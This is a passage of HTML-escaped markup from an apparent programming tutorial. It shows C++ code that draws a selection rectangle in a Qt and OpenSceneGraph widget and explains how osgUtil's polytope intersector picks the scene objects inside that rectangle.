&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setRenderHint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QPainter&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Antialiasing&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;paintGL&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionActive_&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;selectionFinished_&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setPen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;black&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setBrush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;transparent&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;drawRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;makeRectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionStart_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;selectionEnd_&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;painter&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;makeRectangle()&lt;/code&gt; uses the start and end coordinates of the selection rectangle and calculates
how to draw the corresponding &lt;code&gt;QRect&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;QRect&lt;/span&gt; &lt;span class="nf"&gt;makeRectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;QRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;QRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;QRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;QRect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;QPoint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;QRect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;mousePressEvent()&lt;/code&gt;, the &lt;code&gt;mouseMoveEvent()&lt;/code&gt;, and the &lt;code&gt;mouseReleaseEvent()&lt;/code&gt; only require minor
additions, as well:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mousePressEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QMouseEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionActive_&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LeftButton&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionStart_&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionEnd_&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;selectionStart_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Deletes the old selection
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionFinished_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;           &lt;span class="c1"&gt;// As long as this is set, the rectangle will be drawn
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;// Normal processing
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mouseMoveEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QMouseEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// Note that we have to check the buttons mask in order to see whether the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// left button has been pressed. A call to `button()` will only result in
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="c1"&gt;// `Qt::NoButton` for mouse move events.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionActive_&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buttons&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LeftButton&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionEnd_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;// Ensures that new paint events are created while the user moves the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;// mouse.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;// Normal processing
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;mouseReleaseEvent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;QMouseEvent&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionActive_&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;button&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;Qt&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LeftButton&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionEnd_&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pos&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;selectionFinished_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Will force the painter to stop drawing the
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                               &lt;span class="c1"&gt;// selection rectangle
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;processSelection&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="c1"&gt;// Normal processing
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h1 id="calculating-intersections"&gt;Calculating intersections&lt;/h1&gt;
&lt;p&gt;So far, we have draw a selection rectangle on top of a viewer widget. We now need to process the
selection by projecting the rectangle, which is in window coordinates, into the scene, which is
&lt;em&gt;not&lt;/em&gt;. Fortunately, we can use the marvellous &lt;code&gt;osgUtil&lt;/code&gt; library here (I am not sugar-coating this,
the library &lt;em&gt;is&lt;/em&gt; extremely useful and versatile). We first need to transform Qt&amp;rsquo;s window
coordinates, which assume that the origin of the window is in the upper-left corner, into OSG&amp;rsquo;s
window coordinates, in which the origin is the lower-left corner. We then use the polytope
intersector, an auxiliary class in the &lt;code&gt;osgUtil&lt;/code&gt; library that permits intersecting scenes with
arbitrary polytopes. Our polytope will be very simple—it consists of the (transformed)
coordinates of the selection rectangle. Here is the nice part: &lt;code&gt;osgUtil&lt;/code&gt; will project the rectangle
into the scene for us, so there is no need for further coordinate transformations!&lt;/p&gt;
&lt;p&gt;The rest of the function merely shows how to use the intersection visitor class and extract the
names of each intersected object. By setting up the polytope intersector properly, each object is
ensured to be intersected at most once. This seemed the most useful behaviour for me.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="n"&gt;OSGWidget&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;processSelection&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;QRect&lt;/span&gt; &lt;span class="n"&gt;selectionRectangle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;makeRectangle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;selectionStart_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;selectionEnd_&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;widgetHeight&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
